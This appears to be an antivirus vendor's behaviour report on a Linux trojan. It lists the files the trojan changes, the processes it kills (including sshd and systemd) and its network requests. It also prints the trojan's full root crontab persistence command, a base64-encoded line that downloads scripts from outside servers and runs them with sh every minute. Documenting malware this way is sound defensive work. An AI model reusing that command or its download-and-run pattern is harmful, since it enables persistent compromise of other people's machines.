Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- wuseqs
- brugrh
Launches processes:
- sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly84Ny4yMzYuMjEyLjIzNy9kL3ouc2h8c2ggfHwgY3VybCBodHRwOi8vODcuMjM2LjIxMi4yMzcvZC96LmpwZ3xzaCA7IHdnZXQgLU8gLSBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouc2h8c2ggfHwgY3VybCBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouanBnfHNoIA==\" | base64 -d |sh > /dev/null' | crontab -;
- crontab -
- sh -c /root/fffffd brugrh
- /root/fffffd brugrh
Kills system processes:
- sshd
Kills the following processes:
- systemd
- kthreadd
- ksoftirqd/0
- kworker/0:0
- kworker/0:0H
- kworker/u2:0
- rcu_sched
- rcu_bh
- migration/0
- watchdog/0
- khelper
- kdevtmpfs
- netns
- khungtaskd
- writeback
- ksmd
- crypto
- kintegrityd
- bioset
- kblockd
- kworker/0:1
- kswapd0
- fsnotify_mark
- kthrotld
- ipv6_addrconf
- deferwq
- kworker/u2:1
- ata_sff
- scsi_eh_0
- scsi_tmf_0
- scsi_eh_1
- scsi_tmf_1
- kworker/u2:2
- kworker/0:2
- kworker/0:1H
- jbd2/sda1-8
- ext4-rsv-conver
- kauditd
- kworker/0:3
- systemd-journal
- systemd-udevd
- kpsmoused
- ttm_swap
- kvm-irqfd-clean
- dhclient
- rpcbind
- rpc.statd
- rpciod
- nfsiod
- rpc.idmapd
- cron
- atd
- systemd-logind
- rsyslogd
- acpid
- dbus-daemon
- agetty
- exim4
- (sd-pam)
- bash
- run.sh
Performs operations with the file system:
Modifies file access rights:
- /root/fffffd
- /var/spool/cron/crontabs/tmp.6h4vqr
Creates or modifies files:
- /root/fffffd
- /var/spool/cron/crontabs/tmp.6h4vqr
Deletes files:
- /root/fffffd
Network activity:
HTTP GET requests:
- 87.###.212.237/d/sss